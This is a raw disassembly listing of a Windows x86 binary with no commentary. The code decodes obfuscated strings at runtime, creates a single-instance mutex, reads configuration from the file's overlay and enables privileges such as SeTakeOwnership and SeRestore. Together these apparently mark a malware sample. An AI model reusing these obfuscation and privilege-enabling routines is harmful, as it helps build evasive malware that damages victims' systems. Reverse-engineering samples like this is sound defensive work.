mov byte [ebp - 0x271], 0x2e
mov byte [ebp - 0x270], 0x2e
mov byte [ebp - 0x26f], 0x26
mov byte [ebp - 0x26e], 0x25
mov byte [ebp - 0x26d], 0x5e
mov byte [ebp - 0x26c], 0x21
mov byte [ebp - 0x26b], 0x5c
mov byte [ebp - 0x26a], 0x75
mov byte [ebp - 0x269], 0x69
mov byte [ebp - 0x268], 0x73
mov byte [ebp - 0x267], 0x66
mov byte [ebp - 0x266], 0x62
mov byte [ebp - 0x265], 0x65
mov byte [ebp - 0x264], 0x21
mov byte [ebp - 0x263], 0x26
mov byte [ebp - 0x262], 0x75
mov byte [ebp - 0x261], 0x5e
mov byte [ebp - 0x260], 0x21
mov byte [ebp - 0x25f], 0x26
mov byte [ebp - 0x25e], 0x77
mov byte [ebp - 0x25d], 0
mov al, byte [ebp - 0x288]
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x288]
dec al
mov byte [ebp + ecx - 0x288], al
inc ecx
cmp ecx, 0x2b
jb 0x429460
lea ecx, [ebp - 0x288]
mov dword [ebp - 0x1180], 0
mov dword [ebp - 0x1170], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x116c], 0xf
mov byte [ebp - 0x1180], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4294a4
sub ecx, edx
lea eax, [ebp - 0x288]
push ecx
push eax
lea ecx, [ebp - 0x1180]
call fcn.0041e970
push 0x98
mov byte [ebp - 4], 0x14
call fcn.0048aa51
mov esi, eax
add esp, 4
mov dword [ebp - 0xf04], esi
mov byte [ebp - 4], 0x15
test esi, esi
je 0x42953a
sub esp, 0x20
mov ecx, esp
mov dword [ebp - 0xf58], esp
call fcn.00417130
sub esp, 0x18
mov byte [ebp - 4], 0x16
mov ecx, esp
push 2
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
push 0x4b975c
mov dword [ecx + 0x14], 0xf
call fcn.0041e970
push 0
sub esp, 0x18
lea eax, [ebp - 0x1180]
mov ecx, esp
push eax
call fcn.00416b50
mov ecx, esi
mov byte [ebp - 4], 0x15
call fcn.004178c0
jmp 0x42953c
xor eax, eax
mov dword [ebp - 0xf54], eax
mov byte [ebp - 4], 0x17
call fcn.00425d60
push ecx
mov ecx, dword [ebp - 0xf54]
mov edx, esp
mov dword [ebp - 0xf54], 0
mov dword [edx], ecx
mov ecx, eax
call fcn.00427630
mov ecx, dword [ebp - 0xf54]
test ecx, ecx
je 0x429579
mov eax, dword [ecx]
push 1
mov eax, dword [eax]
call eax
lea ecx, [ebp - 0x1180]
mov byte [ebp - 4], 3
call fcn.00418ba0
mov dword [ebp - 0x370], 0x40
xor edx, edx
mov byte [ebp - 0x36c], 0x71
mov byte [ebp - 0x36b], 0x6e
mov byte [ebp - 0x36a], 0x70
mov byte [ebp - 0x369], 0x6e
mov byte [ebp - 0x368], 0x74
mov al, byte [ebp - 0x36c]
mov byte [ebp - 0x367], 0
nop dword [eax]
nop dword [eax + eax]
mov al, byte [ebp + edx - 0x36c]
mov ecx, dword [ebp - 0x370]
xor cl, al
mov byte [ebp + edx - 0x36c], cl
inc edx
cmp edx, 5
jb 0x4295d0
mov byte [ebp - 0x367], 0
lea eax, [ebp - 0x36c]
mov dword [ebp - 0xfb8], eax
xor ecx, ecx
mov byte [ebp - 0x340], 0x5f
mov byte [ebp - 0x33f], 0x73
mov byte [ebp - 0x33e], 0x70
mov byte [ebp - 0x33d], 0x2b
mov byte [ebp - 0x33c], 0x82
mov byte [ebp - 0x33b], 0x7a
mov byte [ebp - 0x33a], 0x7d
mov byte [ebp - 0x339], 0x76
mov byte [ebp - 0x338], 0x2b
mov byte [ebp - 0x337], 0x73
mov byte [ebp - 0x336], 0x6c
mov byte [ebp - 0x335], 0x7e
mov byte [ebp - 0x334], 0x2b
mov byte [ebp - 0x333], 0x6d
mov byte [ebp - 0x332], 0x70
mov byte [ebp - 0x331], 0x70
mov byte [ebp - 0x330], 0x79
mov byte [ebp - 0x32f], 0x2b
mov byte [ebp - 0x32e], 0x7e
mov byte [ebp - 0x32d], 0x7f
mov byte [ebp - 0x32c], 0x6c
mov byte [ebp - 0x32b], 0x7d
mov byte [ebp - 0x32a], 0x7f
mov byte [ebp - 0x329], 0x70
mov byte [ebp - 0x328], 0x6f
mov byte [ebp - 0x327], 0x37
mov byte [ebp - 0x326], 0x2b
mov byte [ebp - 0x325], 0x6e
mov byte [ebp - 0x324], 0x80
mov byte [ebp - 0x323], 0x7d
mov byte [ebp - 0x322], 0x7d
mov byte [ebp - 0x321], 0x70
mov byte [ebp - 0x320], 0x79
mov byte [ebp - 0x31f], 0x7f
mov byte [ebp - 0x31e], 0x2b
mov byte [ebp - 0x31d], 0x81
mov byte [ebp - 0x31c], 0x70
mov byte [ebp - 0x31b], 0x7d
mov byte [ebp - 0x31a], 0x7e
mov byte [ebp - 0x319], 0x74
mov byte [ebp - 0x318], 0x7a
mov byte [ebp - 0x317], 0x79
mov byte [ebp - 0x316], 0
mov al, byte [ebp - 0x340]
nop dword [eax]
nop dword [eax + eax]
mov al, byte [ebp + ecx - 0x340]
sub al, 0xb
mov byte [ebp + ecx - 0x340], al
inc ecx
cmp ecx, 0x2a
jb 0x429740
lea eax, [ebp - 0x340]
mov dword [ebp - 0x1188], str.0:_1
mov dword [ebp - 0xfbc], eax
mov dword [ebp - 0x1184], 8
call fcn.00425d60
lea ecx, [ebp - 0xfb8]
push ecx
lea ecx, [ebp - 0xfbc]
push ecx
mov ecx, dword [eax + 0x114]
push 8
push str.0:_1
push 2
call fcn.00409c00
call fcn.00425d60
mov esi, eax
push esi
mov dword [ebp - 0xf0c], esi
call fcn.00474211
add esp, 4
test eax, eax
jne 0x42ebe7
mov esi, dword [esi + 0x94]
mov eax, dword [esi]
cmp eax, esi
je 0x4297e5
nop word [eax + eax]
mov edx, dword [eax + 0x20]
mov ecx, 1
add edx, 0x30
xchg dword [edx], ecx
mov ecx, dword [eax]
mov eax, ecx
cmp ecx, esi
jne 0x4297d0
mov eax, dword [ebp - 0xf0c]
push eax
mov dword [eax + 0xd8], 1
call fcn.00474236
add esp, 4
lea ecx, [ebp - 0xa1c]
push dword [ebp - 0xf08]
call fcn.0043bef0
lea eax, [ebp - 0x1000]
mov byte [ebp - 4], 0x18
push eax
lea ecx, [ebp - 0xa1c]
call fcn.0043ca00
mov ecx, dword [ebp - 0x1000]
mov esi, dword [ebp - 0xffc]
mov byte [ebp - 4], 0x19
mov dword [ebp - 0xf0c], ecx
cmp ecx, esi
jne 0x429b3a
mov dword [ebp - 0x194], 0x61
mov eax, dword [ebp - 0x194]
xor al, 0x55
mov byte [ebp - 0x190], al
mov eax, dword [ebp - 0x194]
inc al
xor al, 0x6e
mov byte [ebp - 0x18f], al
mov eax, dword [ebp - 0x194]
add al, 2
xor al, 0x61
mov byte [ebp - 0x18e], al
mov eax, dword [ebp - 0x194]
add al, 3
xor al, 0x62
mov byte [ebp - 0x18d], al
mov eax, dword [ebp - 0x194]
add al, 4
xor al, 0x6c
mov byte [ebp - 0x18c], al
mov eax, dword [ebp - 0x194]
add al, 5
xor al, 0x65
mov byte [ebp - 0x18b], al
mov eax, dword [ebp - 0x194]
add al, 6
xor al, 0x20
mov byte [ebp - 0x18a], al
mov eax, dword [ebp - 0x194]
add al, 7
xor al, 0x74
mov byte [ebp - 0x189], al
mov eax, dword [ebp - 0x194]
add al, 8
xor al, 0x6f
mov byte [ebp - 0x188], al
mov eax, dword [ebp - 0x194]
add al, 9
xor al, 0x20
mov byte [ebp - 0x187], al
mov eax, dword [ebp - 0x194]
add al, 0xa
xor al, 0x66
mov byte [ebp - 0x186], al
mov eax, dword [ebp - 0x194]
add al, 0xb
xor al, 0x69
mov byte [ebp - 0x185], al
mov eax, dword [ebp - 0x194]
add al, 0xc
xor al, 0x6e
mov byte [ebp - 0x184], al
mov eax, dword [ebp - 0x194]
add al, 0xd
xor al, 0x64
mov byte [ebp - 0x183], al
mov eax, dword [ebp - 0x194]
add al, 0xe
xor al, 0x20
mov byte [ebp - 0x182], al
mov eax, dword [ebp - 0x194]
add al, 0xf
xor al, 0x63
mov byte [ebp - 0x181], al
mov eax, dword [ebp - 0x194]
add al, 0x10
xor al, 0x6f
mov byte [ebp - 0x180], al
mov eax, dword [ebp - 0x194]
add al, 0x11
xor al, 0x6e
mov byte [ebp - 0x17f], al
mov eax, dword [ebp - 0x194]
add al, 0x12
xor al, 0x66
mov byte [ebp - 0x17e], al
mov eax, dword [ebp - 0x194]
add al, 0x13
xor al, 0x69
mov byte [ebp - 0x17d], al
mov eax, dword [ebp - 0x194]
add al, 0x14
xor al, 0x67
mov byte [ebp - 0x17c], al
mov eax, dword [ebp - 0x194]
add al, 0x15
xor al, 0x20
mov byte [ebp - 0x17b], al
mov eax, dword [ebp - 0x194]
add al, 0x16
xor al, 0x69
mov byte [ebp - 0x17a], al
mov eax, dword [ebp - 0x194]
add al, 0x17
xor al, 0x6e
mov byte [ebp - 0x179], al
mov eax, dword [ebp - 0x194]
add al, 0x18
xor al, 0x20
mov byte [ebp - 0x178], al
mov eax, dword [ebp - 0x194]
add al, 0x19
xor al, 0x6f
mov byte [ebp - 0x177], al
mov eax, dword [ebp - 0x194]
add al, 0x1a
xor al, 0x76
mov byte [ebp - 0x176], al
mov eax, dword [ebp - 0x194]
add al, 0x1b
xor al, 0x65
mov byte [ebp - 0x175], al
mov eax, dword [ebp - 0x194]
add al, 0x1c
xor al, 0x72
mov byte [ebp - 0x174], al
mov eax, dword [ebp - 0x194]
add al, 0x1d
xor al, 0x6c
mov byte [ebp - 0x173], al
mov eax, dword [ebp - 0x194]
add al, 0x1e
xor al, 0x61
mov byte [ebp - 0x172], al
mov eax, dword [ebp - 0x194]
add al, 0x1f
mov byte [ebp - 0x170], 0
xor al, 0x79
xor edx, edx
mov byte [ebp - 0x171], al
mov al, byte [ebp - 0x190]
nop word [eax + eax]
mov al, byte [ebp + edx - 0x190]
mov ecx, dword [ebp - 0x194]
add cl, dl
xor cl, al
mov byte [ebp + edx - 0x190], cl
inc edx
cmp edx, 0x20
jb 0x429a60
lea eax, [ebp - 0x190]
mov byte [ebp - 0x170], 0
mov dword [ebp - 0xf18], eax
call fcn.00425d60
lea ecx, [ebp - 0xf18]
push ecx
push 4
mov ecx, dword [eax + 0x114]
call fcn.00409aa0
lea ecx, [ebp - 0x1000]
call fcn.00419010
lea ecx, [ebp - 0xa04]
call fcn.00419010
lea ecx, [ebp - 0xa1c]
call fcn.00418bf0
mov esi, dword [ebp - 0xf34]
test esi, esi
je 0x429af7
mov eax, edi
lock xadd dword [esi + 4], eax
jne 0x429af7
mov eax, dword [esi]
mov ecx, esi
mov eax, dword [eax]
call eax
lock xadd dword [esi + 8], edi
dec edi
jne 0x429af7
mov eax, dword [esi]
mov ecx, esi
mov eax, dword [eax + 4]
call eax
mov edx, dword [ebp - 0x924]
cmp edx, 0x10
jb 0x42ebbe
mov ecx, dword [ebp - 0x938]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x429b2b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42ebed
push edx
push ecx
call fcn.0048aa81
add esp, 8
jmp 0x42ebbe
mov eax, esi
mov dword [ebp - 0x968], 0
sub eax, ecx
mov dword [ebp - 0x958], 0
push eax
lea ecx, [ebp - 0x968]
mov dword [ebp - 0x954], 0xf
mov byte [ebp - 0x968], 0
mov byte [ebp - 0xf44], 0
call fcn.00427260
mov byte [ebp - 0xfc0], 0
lea ecx, [ebp - 0x968]
push dword [ebp - 0xfc0]
push esi
push dword [ebp - 0xf0c]
call fcn.00401c70
lea eax, [ebp - 0x968]
mov byte [ebp - 4], 0x1a
push eax
call fcn.00465020
add esp, 4
call fcn.00464f60
lea ecx, [ebp - 0x950]
push ecx
mov ecx, eax
call fcn.00465000
cmp dword [ebp - 0x93c], 0x10
lea eax, [ebp - 0x950]
mov byte [ebp - 4], 0x1b
cmovae eax, dword [ebp - 0x950]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
test eax, eax
je 0x42a186
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x429fe3
mov dword [ebp - 0x470], 0x3c
xor edx, edx
mov byte [ebp - 0x46c], 0x5d
mov byte [ebp - 0x46b], 0x50
mov byte [ebp - 0x46a], 0x4e
mov byte [ebp - 0x469], 0x59
mov byte [ebp - 0x468], 0x5d
mov byte [ebp - 0x467], 0x58
mov byte [ebp - 0x466], 0x45
mov byte [ebp - 0x465], 0x1c
mov byte [ebp - 0x464], 0x59
mov byte [ebp - 0x463], 0x44
mov byte [ebp - 0x462], 0x55
mov byte [ebp - 0x461], 0x4f
mov byte [ebp - 0x460], 0x48
mov byte [ebp - 0x45f], 0x4f
mov byte [ebp - 0x45e], 0x10
mov byte [ebp - 0x45d], 0x1c
mov byte [ebp - 0x45c], 0x4f
mov byte [ebp - 0x45b], 0x59
mov byte [ebp - 0x45a], 0x5f
mov byte [ebp - 0x459], 0x53
mov byte [ebp - 0x458], 0x52
mov byte [ebp - 0x457], 0x58
mov byte [ebp - 0x456], 0x1c
mov byte [ebp - 0x455], 0x5f
mov byte [ebp - 0x454], 0x53
mov byte [ebp - 0x453], 0x4c
mov byte [ebp - 0x452], 0x45
mov byte [ebp - 0x451], 0x1c
mov byte [ebp - 0x450], 0x4b
mov byte [ebp - 0x44f], 0x5d
mov byte [ebp - 0x44e], 0x4f
mov byte [ebp - 0x44d], 0x1c
mov byte [ebp - 0x44c], 0x50
mov byte [ebp - 0x44b], 0x5d
mov byte [ebp - 0x44a], 0x49
mov byte [ebp - 0x449], 0x52
mov byte [ebp - 0x448], 0x5f
mov byte [ebp - 0x447], 0x54
mov byte [ebp - 0x446], 0x59
mov byte [ebp - 0x445], 0x58
mov byte [ebp - 0x444], 0x1c
mov byte [ebp - 0x443], 0x5d
mov byte [ebp - 0x442], 0x52
mov byte [ebp - 0x441], 0x58
mov byte [ebp - 0x440], 0x1c
mov byte [ebp - 0x43f], 0x4b
mov byte [ebp - 0x43e], 0x55
mov byte [ebp - 0x43d], 0x50
mov byte [ebp - 0x43c], 0x50
mov byte [ebp - 0x43b], 0x1c
mov byte [ebp - 0x43a], 0x5e
mov byte [ebp - 0x439], 0x59
mov byte [ebp - 0x438], 0x1c
mov byte [ebp - 0x437], 0x48
mov byte [ebp - 0x436], 0x59
mov byte [ebp - 0x435], 0x4e
mov byte [ebp - 0x434], 0x51
mov byte [ebp - 0x433], 0x55
mov byte [ebp - 0x432], 0x52
mov byte [ebp - 0x431], 0x5d
mov byte [ebp - 0x430], 0x48
mov byte [ebp - 0x42f], 0x59
mov byte [ebp - 0x42e], 0x58
mov al, byte [ebp - 0x46c]
mov byte [ebp - 0x42d], 0
nop dword [eax]
mov al, byte [ebp + edx - 0x46c]
mov ecx, dword [ebp - 0x470]
xor cl, al
mov byte [ebp + edx - 0x46c], cl
inc edx
cmp edx, 0x3f
jb 0x429dd0
mov byte [ebp - 0x42d], 0
lea eax, [ebp - 0x46c]
mov dword [ebp - 0x103c], eax
mov dword [ebp - 0x94], 0x50
mov eax, dword [ebp - 0x94]
xor al, 0x4d
mov byte [ebp - 0x90], al
mov eax, dword [ebp - 0x94]
inc al
xor al, 0x75
mov byte [ebp - 0x8f], al
mov eax, dword [ebp - 0x94]
add al, 2
xor al, 0x74
mov byte [ebp - 0x8e], al
mov eax, dword [ebp - 0x94]
add al, 3
xor al, 0x65
mov byte [ebp - 0x8d], al
mov eax, dword [ebp - 0x94]
add al, 4
xor al, 0x78
mov byte [ebp - 0x8c], al
mov eax, dword [ebp - 0x94]
add al, 5
xor al, 0x20
mov byte [ebp - 0x8b], al
mov eax, dword [ebp - 0x94]
add al, 6
xor al, 0x77
mov byte [ebp - 0x8a], al
mov eax, dword [ebp - 0x94]
add al, 7
xor al, 0x69
mov byte [ebp - 0x89], al
mov eax, dword [ebp - 0x94]
add al, 8
xor al, 0x74
mov byte [ebp - 0x88], al
mov eax, dword [ebp - 0x94]
add al, 9
xor al, 0x68
mov byte [ebp - 0x87], al
mov eax, dword [ebp - 0x94]
add al, 0xa
xor al, 0x20
mov byte [ebp - 0x86], al
mov eax, dword [ebp - 0x94]
add al, 0xb
xor al, 0x6e
mov byte [ebp - 0x85], al
mov eax, dword [ebp - 0x94]
add al, 0xc
xor al, 0x61
mov byte [ebp - 0x84], al
mov eax, dword [ebp - 0x94]
add al, 0xd
xor al, 0x6d
mov byte [ebp - 0x83], al
mov eax, dword [ebp - 0x94]
add al, 0xe
mov byte [ebp - 0x81], 0
xor al, 0x65
xor edx, edx
mov byte [ebp - 0x82], al
mov al, byte [ebp - 0x90]
nop word [eax + eax]
mov al, byte [ebp + edx - 0x90]
mov ecx, dword [ebp - 0x94]
add cl, dl
xor cl, al
mov byte [ebp + edx - 0x90], cl
inc edx
cmp edx, 0xf
jb 0x429f10
lea eax, [ebp - 0x90]
mov byte [ebp - 0x81], 0
mov dword [ebp - 0x1038], eax
lea eax, [ebp - 0x103c]
push eax
lea eax, [ebp - 0x950]
push eax
lea eax, [ebp - 0x1038]
push eax
sub esp, 8
mov eax, esp
mov dword [eax], 0x4b99e4
mov dword [eax + 4], 0xb
call fcn.00405f70
add esp, 0x14
lea ecx, [ebp - 0x950]
call fcn.00418ba0
lea ecx, [ebp - 0x968]
call fcn.00418ba0
lea ecx, [ebp - 0x1000]
call fcn.00419010
lea ecx, [ebp - 0xa04]
call fcn.00419010
lea ecx, [ebp - 0xa1c]
call fcn.00418bf0
mov esi, dword [ebp - 0xf34]
test esi, esi
je 0x429fd3
mov eax, edi
lock xadd dword [esi + 4], eax
jne 0x429fd3
mov eax, dword [esi]
mov ecx, esi
mov eax, dword [eax]
call eax
lock xadd dword [esi + 8], edi
dec edi
jne 0x429fd3
mov eax, dword [esi]
mov ecx, esi
mov eax, dword [eax + 4]
call eax
lea ecx, [ebp - 0x938]
call fcn.00418ba0
jmp 0x42ebbe
mov byte [ebp - 0x1c0], 0x6a
xor ecx, ecx
mov byte [ebp - 0x1bf], 0x6b
mov byte [ebp - 0x1be], 0x7a
mov byte [ebp - 0x1bd], 0x6b
mov byte [ebp - 0x1bc], 0x69
mov byte [ebp - 0x1bb], 0x7a
mov byte [ebp - 0x1ba], 0x6b
mov byte [ebp - 0x1b9], 0x6a
mov byte [ebp - 0x1b8], 0
mov al, byte [ebp - 0x1c0]
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x1c0]
sub al, 6
mov byte [ebp + ecx - 0x1c0], al
inc ecx
cmp ecx, 8
jb 0x42a030
lea eax, [ebp - 0x1c0]
mov byte [ebp - 0x289], 0
mov dword [ebp - 0x1030], eax
xor edx, edx
mov dword [ebp - 0x2a4], 0xa
mov byte [ebp - 0x2a0], 0x4c
mov byte [ebp - 0x29f], 0x63
mov byte [ebp - 0x29e], 0x78
mov byte [ebp - 0x29d], 0x79
mov byte [ebp - 0x29c], 0x7e
mov byte [ebp - 0x29b], 0x2a
mov byte [ebp - 0x29a], 0x69
mov byte [ebp - 0x299], 0x78
mov byte [ebp - 0x298], 0x6f
mov byte [ebp - 0x297], 0x6b
mov byte [ebp - 0x296], 0x7e
mov byte [ebp - 0x295], 0x63
mov byte [ebp - 0x294], 0x65
mov byte [ebp - 0x293], 0x64
mov byte [ebp - 0x292], 0x2a
mov byte [ebp - 0x291], 0x65
mov byte [ebp - 0x290], 0x6c
mov byte [ebp - 0x28f], 0x2a
mov byte [ebp - 0x28e], 0x67
mov byte [ebp - 0x28d], 0x7f
mov byte [ebp - 0x28c], 0x7e
mov byte [ebp - 0x28b], 0x6f
mov byte [ebp - 0x28a], 0x72
mov al, byte [ebp - 0x2a0]
nop dword [eax]
mov al, byte [ebp + edx - 0x2a0]
mov ecx, dword [ebp - 0x2a4]
xor cl, al
mov byte [ebp + edx - 0x2a0], cl
inc edx
cmp edx, 0x17
jb 0x42a110
lea eax, [ebp - 0x2a0]
mov byte [ebp - 0x289], 0
mov dword [ebp - 0x102c], eax
mov dword [ebp - 0x11d0], 0x4b99e4
mov dword [ebp - 0x11cc], 0xb
call fcn.00425d60
lea ecx, [ebp - 0x1030]
push ecx
lea ecx, [ebp - 0x950]
push ecx
lea ecx, [ebp - 0x102c]
push ecx
mov ecx, dword [eax + 0x114]
push 0xb
push 0x4b99e4
push 2
call fcn.00409bb0
jmp 0x42a3d1
mov byte [ebp - 0x2e8], 0x7c
xor ecx, ecx
mov byte [ebp - 0x2e7], 0x6a
mov byte [ebp - 0x2e6], 0x25
mov byte [ebp - 0x2e5], 0x7c
mov byte [ebp - 0x2e4], 0x6e
mov byte [ebp - 0x2e3], 0x71
mov byte [ebp - 0x2e2], 0x71
mov byte [ebp - 0x2e1], 0x25
mov byte [ebp - 0x2e0], 0x68
mov byte [ebp - 0x2df], 0x74
mov byte [ebp - 0x2de], 0x73
mov byte [ebp - 0x2dd], 0x79
mov byte [ebp - 0x2dc], 0x6e
mov byte [ebp - 0x2db], 0x73
mov byte [ebp - 0x2da], 0x7a
mov byte [ebp - 0x2d9], 0x6a
mov byte [ebp - 0x2d8], 0x25
mov byte [ebp - 0x2d7], 0x67
mov byte [ebp - 0x2d6], 0x7a
mov byte [ebp - 0x2d5], 0x79
mov byte [ebp - 0x2d4], 0x25
mov byte [ebp - 0x2d3], 0x67
mov byte [ebp - 0x2d2], 0x6a
mov byte [ebp - 0x2d1], 0x6d
mov byte [ebp - 0x2d0], 0x66
mov byte [ebp - 0x2cf], 0x7b
mov byte [ebp - 0x2ce], 0x6e
mov byte [ebp - 0x2cd], 0x74
mov byte [ebp - 0x2cc], 0x77
mov byte [ebp - 0x2cb], 0x25
mov byte [ebp - 0x2ca], 0x7a
mov byte [ebp - 0x2c9], 0x73
mov byte [ebp - 0x2c8], 0x69
mov byte [ebp - 0x2c7], 0x6a
mov byte [ebp - 0x2c6], 0x6b
mov byte [ebp - 0x2c5], 0x6e
mov byte [ebp - 0x2c4], 0x73
mov byte [ebp - 0x2c3], 0x6a
mov byte [ebp - 0x2c2], 0x69
mov byte [ebp - 0x2c1], 0
mov al, byte [ebp - 0x2e8]
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x2e8]
sub al, 5
mov byte [ebp + ecx - 0x2e8], al
inc ecx
cmp ecx, 0x27
jb 0x42a2b0
lea eax, [ebp - 0x2e8]
xor ecx, ecx
mov dword [ebp - 0x1028], eax
mov byte [ebp - 0x220], 0x56
mov byte [ebp - 0x21f], 0x6f
mov byte [ebp - 0x21e], 0x62
mov byte [ebp - 0x21d], 0x63
mov byte [ebp - 0x21c], 0x6d
mov byte [ebp - 0x21b], 0x66
mov byte [ebp - 0x21a], 0x21
mov byte [ebp - 0x219], 0x75
mov byte [ebp - 0x218], 0x70
mov byte [ebp - 0x217], 0x21
mov byte [ebp - 0x216], 0x64
mov byte [ebp - 0x215], 0x73
mov byte [ebp - 0x214], 0x66
mov byte [ebp - 0x213], 0x62
mov byte [ebp - 0x212], 0x75
mov byte [ebp - 0x211], 0x66
mov byte [ebp - 0x210], 0x21
mov byte [ebp - 0x20f], 0x6e
mov byte [ebp - 0x20e], 0x76
mov byte [ebp - 0x20d], 0x75
mov byte [ebp - 0x20c], 0x66
mov byte [ebp - 0x20b], 0x79
mov byte [ebp - 0x20a], 0
mov al, byte [ebp - 0x220]
nop dword [eax + eax]
mov al, byte [ebp + ecx - 0x220]
dec al
mov byte [ebp + ecx - 0x220], al
inc ecx
cmp ecx, 0x16
jb 0x42a380
lea eax, [ebp - 0x220]
mov dword [ebp - 0x1024], eax
lea eax, [ebp - 0x1028]
push eax
lea eax, [ebp - 0x950]
push eax
lea eax, [ebp - 0x1024]
push eax
sub esp, 8
mov eax, esp
mov dword [eax], 0x4b99e4
mov dword [eax + 4], 0xb
call fcn.00405f70
add esp, 0x14
mov dword [ebp - 0x50c], 0x18
xor edx, edx
mov byte [ebp - 0x508], 0x4b
mov byte [ebp - 0x507], 0x7d
mov byte [ebp - 0x506], 0x59
mov byte [ebp - 0x505], 0x6b
mov byte [ebp - 0x504], 0x6b
mov byte [ebp - 0x503], 0x71
mov byte [ebp - 0x502], 0x7f
mov byte [ebp - 0x501], 0x76
mov byte [ebp - 0x500], 0x48
mov byte [ebp - 0x4ff], 0x6a
mov byte [ebp - 0x4fe], 0x71
mov byte [ebp - 0x4fd], 0x75
mov byte [ebp - 0x4fc], 0x79
mov byte [ebp - 0x4fb], 0x6a
mov byte [ebp - 0x4fa], 0x61
mov byte [ebp - 0x4f9], 0x4c
mov byte [ebp - 0x4f8], 0x77
mov byte [ebp - 0x4f7], 0x73
mov byte [ebp - 0x4f6], 0x7d
mov byte [ebp - 0x4f5], 0x76
mov byte [ebp - 0x4f4], 0x48
mov byte [ebp - 0x4f3], 0x6a
mov byte [ebp - 0x4f2], 0x71
mov byte [ebp - 0x4f1], 0x6e
mov byte [ebp - 0x4f0], 0x71
mov byte [ebp - 0x4ef], 0x74
mov byte [ebp - 0x4ee], 0x7d
mov byte [ebp - 0x4ed], 0x7f
mov byte [ebp - 0x4ec], 0x7d
mov al, byte [ebp - 0x508]
mov byte [ebp - 4], 0x1c
mov byte [ebp - 0x4eb], 0
nop dword [eax]
mov al, byte [ebp + edx - 0x508]
mov ecx, dword [ebp - 0x50c]
xor cl, al
mov byte [ebp + edx - 0x508], cl
inc edx
cmp edx, 0x1d
jb 0x42a4c0
lea eax, [ebp - 0x508]
mov byte [ebp - 0x4eb], 0
push eax
lea ecx, [ebp - 0xaac]
call fcn.00416c30
lea eax, [ebp - 0xaac]
mov byte [ebp - 4], 0x1d
push eax
call fcn.00471a60
add esp, 4
lea ecx, [ebp - 0xaac]
call fcn.00418ba0
mov edi, dword [ebp - 0xf18]
jmp 0x42a8a1
mov byte [ebp - 0x1f8], 0x5b
xor ecx, ecx
mov byte [ebp - 0x1f7], 0x6d
mov byte [ebp - 0x1f6], 0x5a
mov byte [ebp - 0x1f5], 0x6d
mov byte [ebp - 0x1f4], 0x7b
mov byte [ebp - 0x1f3], 0x7c
mov byte [ebp - 0x1f2], 0x77
mov byte [ebp - 0x1f1], 0x7a
mov byte [ebp - 0x1f0], 0x6d
mov byte [ebp - 0x1ef], 0x58
mov byte [ebp - 0x1ee], 0x7a
mov byte [ebp - 0x1ed], 0x71
mov byte [ebp - 0x1ec], 0x7e
mov byte [ebp - 0x1eb], 0x71
mov byte [ebp - 0x1ea], 0x74
mov byte [ebp - 0x1e9], 0x6d
mov byte [ebp - 0x1e8], 0x6f
mov byte [ebp - 0x1e7], 0x6d
mov dword [ebp - 4], 0x1b
mov byte [ebp - 0x1e6], 0
mov al, byte [ebp - 0x1f8]
mov byte [ebp - 4], 0x1f
nop dword [eax]
mov al, byte [ebp + ecx - 0x1f8]
sub al, 8
mov byte [ebp + ecx - 0x1f8], al
inc ecx
cmp ecx, 0x12
jb 0x42a940
lea eax, [ebp - 0x1f8]
push eax
lea ecx, [ebp - 0xa94]
call fcn.00416c30
lea eax, [ebp - 0xa94]
mov byte [ebp - 4], 0x20
push eax
call fcn.00471a60
add esp, 4
lea ecx, [ebp - 0xa94]
call fcn.00418ba0
jmp 0x42ab00
mov byte [ebp - 0x23c], 0x5f
xor ecx, ecx
mov byte [ebp - 0x23b], 0x71
mov byte [ebp - 0x23a], 0x60
mov byte [ebp - 0x239], 0x6d
mov byte [ebp - 0x238], 0x77
mov byte [ebp - 0x237], 0x71
mov byte [ebp - 0x236], 0x5b
mov byte [ebp - 0x235], 0x83
mov byte [ebp - 0x234], 0x7a
mov byte [ebp - 0x233], 0x71
mov byte [ebp - 0x232], 0x7e
mov byte [ebp - 0x231], 0x7f
mov byte [ebp - 0x230], 0x74
mov byte [ebp - 0x22f], 0x75
mov byte [ebp - 0x22e], 0x7c
mov byte [ebp - 0x22d], 0x5c
mov byte [ebp - 0x22c], 0x7e
mov byte [ebp - 0x22b], 0x75
mov byte [ebp - 0x22a], 0x82
mov byte [ebp - 0x229], 0x75
mov byte [ebp - 0x228], 0x78
mov byte [ebp - 0x227], 0x71
mov byte [ebp - 0x226], 0x73
mov byte [ebp - 0x225], 0x71
mov dword [ebp - 4], 0x1b
mov byte [ebp - 0x224], 0
mov al, byte [ebp - 0x23c]
mov byte [ebp - 4], 0x22
nop dword [eax]
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x23c]
sub al, 0xc
mov byte [ebp + ecx - 0x23c], al
inc ecx
cmp ecx, 0x18
jb 0x42abd0
lea eax, [ebp - 0x23c]
push eax
lea ecx, [ebp - 0xa4c]
call fcn.00416c30
lea eax, [ebp - 0xa4c]
mov byte [ebp - 4], 0x23
push eax
call fcn.00471a60
add esp, 4
lea ecx, [ebp - 0xa4c]
call fcn.00418ba0
jmp 0x42adc4
cmp byte [ebx + 0x10], 0
mov dword [ebp - 4], 0x1b
jne 0x42b354
call fcn.00464f60
lea ecx, [ebp - 0x115c]
push ecx
mov ecx, eax
call fcn.00464fc0
xor al, al
mov byte [ebp - 4], 0x25
movzx eax, al
push eax
push dword [ebp - 0x1158]
lea eax, [ebp - 0xf46]
mov byte [ebp - 0xf45], 0
push dword [ebp - 0x115c]
push eax
call fcn.00406450
add esp, 0x10
call fcn.00464f60
lea ecx, [ebp - 0x1150]
push ecx
mov ecx, eax
call fcn.00464fa0
mov esi, dword [ebp - 0x1150]
xor al, al
mov byte [ebp - 0xf47], al
mov byte [ebp - 0xf14], al
mov eax, dword [ebp - 0x114c]
mov byte [ebp - 4], 0x26
mov dword [ebp - 0xf0c], eax
nop dword [eax + eax]
cmp esi, eax
je 0x42ae6b
push esi
lea ecx, [ebp - 0xf14]
call fcn.0041b530
mov eax, dword [ebp - 0xf0c]
